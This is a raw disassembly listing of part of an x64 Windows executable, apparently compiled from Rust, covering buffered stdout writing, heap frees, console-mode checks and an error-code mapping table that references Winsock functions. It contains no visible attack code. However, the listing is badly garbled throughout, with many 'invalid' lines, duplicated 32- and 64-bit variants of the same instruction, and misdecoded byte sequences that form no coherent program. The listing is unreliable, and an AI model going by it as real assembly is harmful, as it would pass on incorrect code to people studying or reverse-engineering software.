and al, 0x10
invalid
mov dword [rsp + 0x10], edx
push rbp
sub rsp, 0x30
lea rbp, [rdx + 0x60]
invalid
movups xmm0, xmmword [rbp - 0x30]
adc byte [rbp - 0x30], al
movups xmm1, xmmword [rbp - 0x20]
loopne 0x14012e6c6
loopne 0x14012e6c6
movups xmmword [0x1402152c0], xmm1
adc dword [0x1402152c0], ecx
invalid
movups xmmword [0x1402152b0], xmm0
invalid
add byte [rax - 0x73], cl
lea rcx, [0x1402152a8]
or eax, 0xe6bdd
invalid
add al, ch
add dh, dh
invalid
call fcn.14012dcd0
idiv bh
invalid
call qword [rax + 0x30c48348]
nop
add rsp, 0x30
add esp, 0x30
pop rbp
ret
nop word [rax + rax]
nop dword [rax + rax]
invalid
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
mov qword [rsp + 0x10], rdx
and al, 0x10
push rbp
sub rsp, 0x30
sub esp, 0x30
lea rbp, [rdx + 0x60]
push 0x60
invalid
lea rcx, [0x140215298]
or eax, 0xe6ba3
movabs dword [0x36e8000e6b], eax
invalid
add al, ch
add byte ss:[rax], al
invalid
call fcn.14012e730
add byte [rax + 0x30c48348], dl
nop
add rsp, 0x30
add esp, 0x30
pop rbp
ret
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
invalid
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
adc byte [rbp + 0x48], dl
push rbp
sub rsp, 0x30
sub esp, 0x30
in al, dx
xor byte [rax - 0x73], cl
invalid
invalid
lea rbp, [rdx + 0x60]
lea ebp, [rdx + 0x60]
push 0x60
invalid
lea rcx, [rbp - 0x30]
lea ecx, [rbp - 0x30]
call case.0x14011a815.256
add byte [rax], al
add byte [rax + 0x30c48348], dl
nop
add rsp, 0x30
add esp, 0x30
add esp, 0x30
pop rbp
ret
add ebx, eax
add byte [rax], al
cdq
add eax, dword [rax]
invalid
int3
int3
int3
int3
push rbp
sub rsp, 0x50
sub esp, 0x50
in al, dx
push rax
in al, dx
push rax
lea rbp, [rsp + 0x50]
lea ebp, [rsp + 0x50]
insb byte [rdi], dx
and al, 0x50
push rax
mov qword [rbp - 8], 0xfffffffffffffffe
cmp byte [rcx + 0x18], 0
jns case.0x140122c19.198
invalid
clc
invalid
inc dword [rax + 0x74001879]
invalid
sbb byte [rax], al
add byte [rdi + rbx + 0x48], dh
cmp dword [rcx + 8], 0
jns 0x14012e774
invalid
je case.0x14011a874.256
cmp qword [rcx + 8], 0
or byte [rax], al
add byte [rsp + rsi*2 + 0x4c], dh
mov eax, dword [rcx]
invalid
je case.0x140124835.156
mov r8, qword [rcx]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
imul ecx, dword [rsi], 0
xor edx, edx
add rsp, 0x50
add esp, 0x50
invalid
push rax
ror byte [rax - 0x7d], cl
invalid
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
cwde
add eax, dword [rax]
add byte [rax - 0x77], cl
call fcn.14013d877
call fcn.14013d877
invalid
lock add byte [rax], al
add byte [rax], al
mov qword [rbp - 0x18], rcx
mov dword [rbp - 0x18], ecx
call fcn.14012e880
add byte [rax], al
add byte [rax - 0x7b], cl
test rax, rax
ror byte [rax - 0x75], 0x4d
mov rcx, qword [rbp - 0x18]
je case.0x140122c19.195
iretd
call 0xc954b70f
call 0xc954b70f
mov r8d, eax
rol byte [rcx - 0x7d], 0xe0
add ecx, dword [rcx - 0x73]
invalid
invalid
push rax
and r8d, 3
and eax, 3
lea rdx, [r8 - 2]
dec byte [rax - 0x7d]
cli
cmp rdx, 2
add dh, byte [rdx - 0x42]
jb case.0x140122c19.195
test r8, r8
test eax, eax
je case.0x140122c19.195
mov ecx, 0x48c18948
dec ecx
leave
mov rcx, rax
ror dword [rax - 1], 0xc9
dec rcx
leave
mov qword [rbp - 0x28], rcx
fmul dword [rax - 0x75]
dec qword [rax - 0x75]
dec dword [rax - 0x75]
mov rcx, qword [rax - 1]
dec dword [rax - 0x75]
mov rax, qword [rax + 7]
mov qword [rbp - 0x10], rcx
mov dword [rbp - 0x10], ecx
invalid
invalid
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x20], eax
invalid
invalid
mov dword [rbp - 0x20], eax
call qword [rax]
adc byte [rax - 0x75], cl
mov rax, qword [rbp - 0x20]
cmp qword [rax + 8], 0
cmp dword [rax + 8], 0
loopne case.0x140107dc6.644
cmp dword [rax + 8], 0
js 0x14012e7db
je case.0x140107dc6.656
sub cl, byte [rax - 0x7d]
cmp qword [rax + 0x10], 0x11
js case.0x140124835.157
adc dword [rbx + 0xc], esi
jae 0x14012e7e9
mov r8, qword [rbp - 0x10]
jmp case.0x140124835.158
invalid
add rsp, 0x50
push rax
pop rbp
ret
mov eax, dword [rbp - 0x10]
mov r8, qword [r8 - 8]
mov rcx, qword [0x140215360]
push 0x31000e6b
sar bh, cl
invalid
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x39828
adc eax, 0x39828
add byte [rax - 0x75], cl
mov rcx, qword [0x140215360]
or eax, 0xe6b59
add byte [rcx], dh
ror byte [rbx + rcx*4 + 0x45], cl
invalid
invalid
invalid
xor edx, edx
mov r8, qword [rbp - 0x28]
fdivr st(7)
adc eax, 0x39815
invalid
cwde
add eax, dword [rax]
call qword [sym.imp.KERNEL32.dll_HeapFree]
add byte [rax - 0x75], cl
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
call 0x140123504
jmp case.0x140122c19.195
invalid
dec dword [rdi]
invalid
add byte [rax - 0x77], cl
mov dword [rsp + 0x10], edx
push rsp
and al, 0x10
invalid
adc byte [rbp + 0x48], dl
push rbp
sub rsp, 0x20
sub esp, 0x20
and byte [rax - 0x73], cl
push 0x50
lea rbp, [rdx + 0x50]
mov rax, qword [rbp - 0x20]
mov rdx, qword [rax + 8]
mov edx, dword [rax + 8]
loopne case.0x140124679.184
mov edx, dword [rax + 8]
mov r8, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
call fcn.14012dad0
mov rcx, qword [rbp - 0x28]
fsubr st(0)
and al, 0xbe
add byte [rax], al
fsubr st(0)
and al, 0xbe
add byte [rax], al
nop
add rsp, 0x20
add esp, 0x20
invalid
invalid
pop rbp
ret
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
sub rsp, 0x20
in al, dx
and byte [rax - 0x73], cl
lea rbp, [rdx + 0x50]
push rax
in al, dx
and byte [rax - 0x73], cl
invalid
invalid
push 0x50
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
call fcn.140022090
nop
add rsp, 0x20
invalid
call qword [rax + 0x20c48348]
and byte [rbp - 0x3d], bl
int3
pop rbp
ret
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
sub esp, 0x68
lea rbp, [rsp + 0x60]
insb byte [rdi], dx
and al, 0x60
insb byte [rdi], dx
and al, 0x60
mov qword [rbp], 0xfffffffffffffffe
invalid
lea r14, [rcx + 0x19]
xor eax, eax
mov qword [rbp - 0x10], rax
invalid
invalid
sbb dword [rcx], esi
ror byte [rax - 0x77], 0x45
invalid
invalid
lea rsi, [rbp - 0x38]
lea r12, [0x14020afcc]
lea esp, [0x14020afcc]
sbb al, bh
or eax, 0x3d8d4c00
invalid
invalid
lea r15, [0x14020afdc]
mov qword [rbp - 8], rcx
mov dword [rbp - 8], ecx
clc
and eax, edi
or eax, 0x4d894800
add byte [rax - 0x77], cl
invalid
clc
jmp case.0x140124835.195
mov r8, qword [rbp - 0x18]
mov r8, qword [r8 - 8]
mov rcx, qword [0x140215360]
xchg edx, eax
push 0xe
invalid
add byte [rcx], dh
sar bh, cl
invalid
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x39752
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
or eax, 0xe6a83
xor edx, edx
mov r8, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x3973f
xchg edi, eax
add eax, dword [rax]
mov rcx, qword [rbp - 8]
mov rdx, qword [rcx + 0x10]
mov rbx, rdx
mov rax, qword [rbp - 0x10]
invalid
sub rbx, rax
jbe 0x14012eb60
add byte [rax], al
invalid
add byte [rax], al
mov byte [rcx + 0x18], 1
mov r8, qword [rcx]
invalid
add r8, rax
mov qword [rsp + 0x20], r14
mov rcx, rsi
mov ecx, esi
mov ecx, esi
mov edx, 0xfffffff5
mov r9, rbx
mov ecx, ebx
mov ecx, ebx
call fcn.14012ecf0
cmp qword [rbp - 0x38], 0
je 0x14012ea1c
int1
add byte [rax], al
invalid
int1
add byte [rax], al
add byte [rbx + rcx*4 + 0x6d], cl
rol byte [rcx + rcx*4 - 0x11], 1
mov r13, qword [rbp - 0x30]
mov edi, r13d
and edi, 3
cmp rdi, 2
mov rcx, qword [rbp - 8]
jae 0x14012e960
mov byte [rcx + 0x18], 0
movsxd rax, dword [r12 + rdi*4]
add rax, r12
jmp rax
cmp edi, 2
jne 0x14012e990
mov rax, r13
shr rax, 0x20
call 0x160fbaab4
cmp eax, 6
je 0x14012ea24
invalid
scasd eax, dword [rdi]
add byte [rax], al
invalid
mov byte [rcx + 0x18], 0
mov rcx, r13
shr rcx, 0x20
call fcn.14012f020
add byte [rax], al
mov rcx, qword [rbp - 8]
jmp 0x14012e9c0
invalid
mov byte [rcx + 0x18], 0
mov rax, r13
shr rax, 0x20
cmp eax, 0x28
clc
sub byte [rdi], cl
invalid
movsb byte [rdi], byte [rsi]
add byte [rax], al
invalid
clc
sub byte [rdi], cl
xchg dword [rax + rax + 0x63490000], esp
movsb byte [rdi], byte [rsi]
add byte [rax], al
add byte [rcx + 0x63], cl
add al, 0x87
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
invalid
loopne case.0x1400693d1.2873
shr bl, 0xf
movzx eax, byte [r13 + 0xf]
mov dh, 0x45
pcmpgtd mm5, qword [rsi]
nop dword [rax + rax]
mov dh, 0x45
pcmpgtd mm5, qword [rsi]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp al, 0x23
add byte [rax], al
cmp al, 0x23
jne 0x14012eb83
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [rdi - 2]
cmp rax, 2
cmp eax, 2
invalid
invalid
lea rax, [rdi - 2]
cmp rax, 2
cmp eax, 2
cmp eax, 2
jb case.0x140124835.195
test rdi, rdi
je case.0x140124835.195
invalid
invalid
invalid
invalid
invalid
lea rax, [r13 - 1]
mov qword [rbp - 0x28], rax
mov rcx, qword [r13 - 1]
invalid
dec dword [rcx - 0x75]
mov rax, qword [r13 + 7]
mov eax, dword [rbp + 7]
invalid
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x20], rax
call qword [rax]
adc byte [rax - 0x75], cl
invalid
invalid
loopne 0x14012ea46
cmp qword [rax + 8], 0
cmp dword [rax + 8], 0
or byte [rax], al
je case.0x140124679.198
invalid
cmp qword [rax + 0x10], 0x11
jae 0x14012e8bf
mov r8, qword [rbp - 0x18]
jmp case.0x1400e91e9.491
stosd dword [rdi], eax
invalid
invalid
invalid
call fcn.140119604
stosd dword [rdi], eax
invalid
dec dword [rax - 0x75]
pop rbp
ror byte [rax - 0x75], 1
clc
mov rbx, qword [rbp - 0x30]
mov rcx, qword [rbp - 8]
mov byte [rcx + 0x18], 0
sbb byte [r8], al
add byte [rax - 0x7b], cl
fisttp dword [rbx + rcx*4 + 0x4d]
invalid
invalid
test rbx, rbx
mov r9, qword [rbp - 0x10]
invalid
invalid
je case.0x1401034e7.392
invalid
invalid
add dword [rax], eax
invalid
add r9, rbx
mov qword [rbp - 0x10], r9
jmp case.0x140124835.195
invalid
invalid
invalid
invalid
invalid
mov al, 0x25
jmp 0x14012e9c0
js case.0x1400e97e6.490
invalid
invalid
js case.0x1400e97e6.490
invalid
invalid
push qword [rax - 0x8e16d7]
mov al, 0x29
jmp 0x14012e9c0
invalid
invalid
invalid
invalid
invalid
jmp 0x14012e9c0
add ebp, ecx
pop rsp
invalid
mov al, 4
jmp 0x14012e9c0
push rbp
invalid
invalid
invalid
add al, 0xe9
push rbp
invalid
push qword [rax - 0xb116fb]
mov al, 5
jmp 0x14012e9c0
invalid
invalid
push qword [rax - 0xb816fa]
invalid
jmp 0x14012e9c0
invalid
invalid
invalid
mov al, 9
jmp 0x14012e9c0
jmp 0x14012e9c0
push qword [rax - 0xfe16f0]
invalid
invalid
sar dh, 1
invalid
jmp 0x14012e9c0
invalid
invalid
and ebp, ecx
jl 0x14012eb40
invalid
invalid
mov al, 0x24
jmp 0x14012e9c0
jne case.0x1400fd850.510
invalid
invalid
jne case.0x1400fd850.510
invalid
push qword [rax - 0x19116da]
invalid
jmp 0x14012e9c0
jmp 0x14012e9c0
sub cl, ch
invalid
test rax, rax
je 0x14012ebc1
xor esi, esi
mov r13d, 0
mov ebp, 0
mov ebp, 0
cmp rdx, rax
jae 0x14012ebbb
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_vecmod.rs
or al, byte [rax]
mov rcx, rax
mov ecx, eax
call fcn.140160f40
ud2
mov r9, qword [rbp - 0x10]
test r9, r9
je 0x14012ebc4
mov rdx, qword [rcx + 0x10]
mov rsi, rdx
sub rsi, r9
jb 0x14012ebe6
mov qword [rcx + 0x10], 0
adc byte [rax], al
add byte [rax], al
add byte [rax], al
je 0x14012ebc4
invalid
add byte [rax], al
je 0x14012ebc4
and cl, byte [rax - 0x75]
mov rax, qword [rbp - 8]
mov eax, dword [rbp - 8]
clc
mov rcx, qword [rax]
mov ecx, dword [rax]
or byte [rcx + 1], cl
add r9, rcx
add ecx, ecx
leave
mov rdx, r9
mov edx, ecx
retf 0x8949
mov r8, rsi
call sub.VCRUNTIME140.dll_memmove
fild word [rdx]
invalid
invalid
fild word [rdx]
add byte [rax - 0x75], cl
mov rcx, qword [rbp - 8]
mov rcx, qword [rbp - 8]
mov qword [rcx + 0x10], rsi
jno 0x14012ebcf
jmp 0x14012ebc4
xor r13d, r13d
mov rax, r13
mov eax, ebp
add rsp, 0x68
add esp, 0x68
push 0x415e5f5b
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop rbp
pop r14
pop r15
pop rdi
pop rbp
ret
lea r13, str.failed_to_write_the_buffered_data
sub eax, 0xac601
add esi, eax
invalid
or al, byte [rax]
add byte [rbp - 0x7b], cl
leave
test r9, r9
jne 0x14012eb8c
jmp 0x14012ebc4
ud2
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
push rsp
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
and al, 0x10
adc byte [rbp + 0x41], dl
push rbp
push r15
push rdi
push rdi
push r14
push r13
push rbp
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
push 0x60
invalid
mov rcx, qword [rbp - 8]
clc
invalid
clc
mov rdx, qword [rbp - 0x10]
mov edx, dword [rbp - 0x10]
call fcn.14012ec90
add byte [rax], al
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop rbp
pop r14
pop r15
pop rbp
ret
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x10], rdx
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
lea ebp, [rdx + 0x60]
invalid
mov rax, qword [rbp - 0x20]
mov rdx, qword [rax + 8]
mov edx, dword [rax + 8]
loopne 0x14012eca6
mov edx, dword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
call 0x140014f55
dec dword [rax - 0x75]
mov ecx, dword [rbp - 0x28]
call fcn.14013a670
mov ecx, 0x48900000
add byte [rax], al
nop
add rsp, 0x28
invalid
invalid
adc byte [rax - 0x75], cl
call 0x140014f55
dec dword [rax - 0x75]
mov ecx, dword [rbp - 0x28]
call fcn.14013a670
mov ecx, 0x48900000
add byte [rax], al
nop
add rsp, 0x28
invalid
invalid
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rbp
ret
int3
int3
push rdi
sub rsp, 0x28
sub esp, 0x28
in al, dx
sub byte [rax - 0x7b], cl
test edx, edx
in al, dx
sub byte [rax - 0x7b], cl
test edx, edx
je case.0x14011161e.405
invalid
test edx, edx
je case.0x14011161e.405
mov rsi, rcx
mov esi, ecx
invalid
mov rax, qword [rcx + 0x10]
mov rdi, rax
invalid
sub rdi, rdx
xlatb
invalid
sub edi, edx
xlatb
jb 0x14012eccd
mov qword [rsi + 0x10], 0
adc byte [rax], al
add byte [rax], al
add byte [rax], al
je case.0x14011161e.405
invalid
add byte [rax], al
je case.0x14011161e.405
adc cl, byte [rax - 0x75]
invalid
mov rcx, qword [rsi]
mov ecx, dword [rsi]
add rdx, rcx
add edx, ecx
retf 0x8949
mov r8, rdi
mov eax, edi
call sub.VCRUNTIME140.dll_memmove
mov qword [rsi + 0x10], rdi
jle 0x14012ecd6
scasd eax, dword [rdi]
fiadd word [rdx]
add byte [rax - 0x77], cl
jle 0x14012ecd6
add rsp, 0x28
pop rdi
pop rsi
ret
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_vecmod.rs
ror dword [rdx], 0
mov rcx, rdx
ror dword [rax - 0x77], 1
ret 0x61e8
invalid
invalid
mov rdx, rax
call fcn.140160f40
add eax, dword [rax]
ud2
or ecx, esp
int3
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x98
add byte [rax], al
invalid
invalid
lodsb al, byte [rsi]
invalid
add byte [rax - 0x39], cl
adc r14b, r15b
adc dh, bh
mov dword [rbp + 0x10], 0xfffffffe
invalid
push rbp
add dword [rax], eax
add byte [rax], al
add byte [rdi], cl
push rdi
add byte [rsi], al
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
jmp loc.14012ee99
cmp eax, dword [rcx]
add byte [rax], al
invalid
add bh, al
rol byte [r8], 0
rol byte [rax], 0
mov dword [rbp - 0x40], 0
rol byte [rax], 0
add byte [rax], al
lea rdx, [rbp - 0x40]
mov rcx, r15
call sub.KERNEL32.dll_GetConsoleMode
stosd dword [rdi], eax
rol byte [rdx], cl
invalid
test eax, eax
stosd dword [rdi], eax
rol byte [rdx], cl
add byte [rbp + 0x486274c0], al
je case.0x14011f9f6.366
mov rbx, qword [rbp + 0x70]
mov ebx, dword [rbp + 0x70]
movzx eax, byte [rbx + 4]
test rax, rax
invalid
add al, 0x48
test eax, eax
invalid
sal byte [rdi + rsi*2 + 0x3c], 3
je case.0x140122c19.234
ja 0x14012edbf
cmp al, 3
add ecx, dword [rdi]
xchg ebx, ecx
ja 0x14012ef55
add dword [rax], eax
add byte [rcx + 0xf], al
movzx ecx, byte [r14]
movzx ecx, byte [r14]
invalid
mov edx, ecx
and dl, 0xc0
cmp dl, 0x80
jne 0x14012ee69
add byte [rax], al
add byte [rax - 0x49f0fcf4], cl
mov byte [rbx + rax], cl
movzx eax, byte [rbx + 4]
inc al
ror byte [rax - 0x49f0fbbd], 0xb
mov byte [rbx + 4], al
movzx ecx, byte [rbx]
invalid
mov byte [rbx + rax], cl
movzx eax, byte [rbx + 4]
inc al
invalid
mov byte [rbx + 4], al
movzx ecx, byte [rbx]
invalid
lea rdx, [0x1401dcc70]
movzx edi, byte [rcx + rdx]
mov dh, 0x3c
adc dword [rax - 0x77], ecx
jge 0x14012ed6a
mov al, 0x40
cmp al, bh
jae 0x14012ee6f
lodsb al, byte [rsi]
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
or byte [rcx], r8b
or byte [rcx], al
mov qword [rsi + 8], 1
or byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
add byte [rax], al
mov qword [rsi], 0
mov dword [rsi], 0
add byte [rax], al
add cl, ch
int 0
add byte [rax], al
invalid
jmp case.0x140124835.213
lea rcx, [rbp - 0x40]
mov rdx, r15
mov r8, r14
invalid
mov r9, rdi
mov qword [rbp - 0x48], r15
mov eax, 0x3f3e8
add eax, dword [rax]
add byte [rdi], cl
movups xmm0, xmmword [rbp - 0x40]
ror byte [rdi], 0x11
invalid
jmp case.0x140124835.213
cmp rdi, 0x1000
mov r8d, 0x1000
cmovb r8, rdi
lea rcx, [rbp - 0x10]
mov rdx, r14
call fcn.14005a400
dec dword [rax - 0x7d]
cmp qword [rbp - 0x10], 0
cmp dword [rbp - 0x10], 0
jge 0x14012ee0a
add byte [rdi], cl
invalid
xchg ebx, eax
add byte [rax], al
invalid
xor ecx, ecx
mov r8, r14
mov r9, rdi
stc
call fcn.14012f520
mov byte [rbx + 4], 0
jmp loc.14012ee92
adc dword [rcx], eax
add byte [rax - 0x73], cl
invalid
mov edx, ebx
call fcn.14005a400
mov byte [rbx + 4], 0
add al, 0
jns 0x14012ee3a
inc esi
add al, 0
add al, 0
add al, 0
cmp qword [rbp - 0x10], 0
invalid
invalid
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
invalid
cwde
add byte [rax], al
add byte [rbx + 0x5f], bl
clc
mov r9, qword [rbp]
mov rcx, rsi
mov rdx, r15
call case.0x14010e86a.658
jmp case.0x140124835.213
dec dword [rax - 0x73]
add eax, 0xade7c
invalid
lea rax, str.Unexpected_number_of_bytes_for_incomplete_UTF_8_codepoint.
or al, byte [rax]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
mov dword [rbp - 0x38], 1
mov dword [rbp - 0x38], 1
lea rax, [0x140204680]
mov qword [rbp - 0x30], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
lea rdx, str.library_std_src_syswindows_stdio.rs
invalid
fisttp word [rdx]
add byte [rax - 0x73], cl
shr r8b, 0x96
shr al, 0x96
invalid
add eax, dword [rax]
ud2
invalid
invalid
shr al, 0x96
invalid
or ecx, dword [rax - 0x73]
add eax, 0xade75
invalid
add byte [rdx + 4], bh
mov edx, 4
mov rcx, r8
mov ecx, eax
mov r8, rax
call fcn.140160f40
invalid
add eax, dword [rax]
ud2
invalid
rol byte [r8], 0
add byte [rax], al
lea ecx, [0x1401dce38]
lea ecx, [rbp - 0x50]
add eax, dword [rax]
rol byte [rax], 0
add byte [rax], al
or eax, 0xade4a
test al, 0x48
lea edx, [rbp + 8]
lea eax, [rbp - 0x40]
add byte [rdi], cl
or ecx, dword [rdi]
invalid
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
adc byte [rbp + 0x41], dl
push rdi
adc byte [rbp + 0x41], dl
push rdi
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
mov rcx, qword [rbp - 0x48]
mov ecx, dword [rbp - 0x48]
call sub.KERNEL32.dll_CloseHandle
nop
add rsp, 0x28
add eax, 0x48900000
add esp, 0x28
add byte [rax + 0x28c48348], dl
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
xchg ecx, eax
jrcxz 0x14012f00e
invalid
lea rcx, [0x14020b4a8]
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
jmp rdx
mov al, 0xd
ret
lea ecx, [0x14020b080]
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
jmp rdx
xor eax, eax
ret
invalid
cmp ecx, 0x461
je case.0x14012f04f.10060
jmp case.0x14012f04f.10014
mov al, 0x21
ret
add byte [rax], al
cmp ecx, 0x252
je case.0x14012f04f.10060
add byte [rdi + rsi - 0x15], dh
cmp rcx, 0x1716
invalid
invalid
add byte [rax], al
jmp case.0x14012f04f.10014
je case.0x14012f04f.10060
cmp ecx, 0x1b64
je case.0x14012f04f.10060
mov al, 4
ret
cmp ecx, 0x2022
je case.0x14012f04f.10060
invalid
or byte [rcx + 0x25e9f9], al
cmp ecx, 0x25e9
add byte [rbp + 0x15], dh
jne case.0x14012f04f.10014
mov al, reloc.WS2_32.dll_shutdown
ret
mov al, 0x26
ret
mov al, 0x18
ret
mov al, 0xc
ret
mov al, setsockopt
ret
mov al, 0xb
ret
mov al, 5
ret
add eax, 0xc328b0c3
mov al, 0x28
ret
mov al, 8
ret
mov al, 9
ret
mov al, 0xa
ret
mov al, 6
ret
mov al, 3
ret
mov al, 7
ret
invalid
mov al, 2
ret
mov al, 0x1f
ret
mov al, 0x11
ret
mov al, 0x24
ret
mov al, 0x19
ret
mov al, reloc.WS2_32.dll_recv
ret
mov al, 0x1c
ret
sbb al, 0xc3
mov al, 0x1b
ret
mov al, 0xe
ret
mov al, recv
ret
int3
int3
je 0x14012f28a
test eax, eax
js 0x14012f264
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x14012f27d
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
add byte [rax], al
invalid
mov qword [rsi], rax
add rsp, 0xa8
add esp, 0xa8
pop rdi
pop rsi
ret
mov byte [rsp + 0x5c], 0
mov dword [rsp + 0x58], 0
mov qword [rsp + 0x20], 0
lea rdx, [0x1401dc9a8]
lea rsi, [rsp + 0x78]
lea r9, [rsp + 0x50]
mov r8d, 1
mov rcx, rsi
call fcn.14012df10
lea rcx, [rsp + 0x58]
lea ecx, [rsp + 0x58]
mov rdx, rsi
call fcn.14012d610
mov rcx, rax
invalid
call fcn.14012d750
mov ecx, 7
invalid
add byte [rax], al
add ch, cl
sub dword [rdi], ecx
invalid
push rdi
ror byte [rdi], 0x11
add byte [rax - 0x39], cl
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 1
movups xmmword [rax + 0x20], xmm0
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 1
movups xmmword [rax + 0x20], xmm0
mov qword [rax + 0x2e], 0
mov dword [rax + 0x38], 0
add rsp, 0x28
ret
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x50]
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
push rax
or byte [rbx + rcx*4 + 0x40], cl
adc byte [rax - 0x75], cl
mov ecx, dword [rbp - 8]
push rax
or byte [rbx + rcx*4 + 0x40], cl
adc byte [rax - 0x75], cl
mov ecx, dword [rbp - 8]
mov ecx, dword [rbp - 8]
call fcn.14012dad0
mov rcx, qword [rbp - 0x18]
call fcn.14013a670
add byte [rax], al
add byte [rax], al
mov rax, qword [rbp - 0x28]
mov rcx, qword [rbp - 0x20]
loopne 0x14012f87e
mov dword [rax + 8], ecx
loopne 0x14012f87e
mov dword [rax + 8], ecx
add rsp, 0x28
add esp, 0x28
pop rsi
pop rbp
ret
sub esp, 0x28
mov dword [rsp + 0x24], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp edx, 0x80
jae 0x14012f863
cli
add byte [rax], 0
add byte [rbx + 0xf], dh
mov byte [rsp + 0x24], dl
mov r8d, 1
jmp 0x14012f8ed
mov eax, edx
cmp edx, 0x800
cli
add byte [rax], cl
add byte [rax], al
jae 0x14012f888
shr eax, 6
or al, 0xc0
mov byte [rsp + 0x24], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x25], dl
and al, 0x25
mov r8d, 2
jmp 0x14012f8ed
cmp edx, 0xffff
ja 0x14012f8b8
shr eax, 0xc
or al, 0xe0
mov byte [rsp + 0x24], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x25], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x26], dl
mov r8d, 3
jmp 0x14012f8ed
shr eax, 0x12
and al, 7
or al, 0xf0
mov byte [rsp + 0x24], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x25], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rsp + 0x26], al
and dl, 0x3f
or dl, 0x80
mov byte [rsp + 0x27], dl
mov r8d, 4
lea rdx, [rsp + 0x24]
call fcn.14012f730
nop
add rsp, 0x28
ret
mov r8, qword [rbp - 8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
add byte [rax], al
invalid
test rsi, rsi
je 0x14012fcc3
test byte [rdx], bl
add al, byte [rax]
invalid
mov qword [rsp + 0x20], rbx
mov rcx, r14
mov edx, 0xfffffff4
invalid
invalid
dec dword [rcx - 0x77]
clc
mov r9, rsi
int1
call fcn.14012ecf0
cmp qword [rbp - 0x28], 0
cmp dword [rbp - 0x28], 0
je 0x14012faf0
mov r12, qword [rbp - 0x20]
mov r15d, r12d
and r15d, 3
and edi, 3
movsxd rax, dword [r13 + r15*4]
add rax, r13
jmp rax
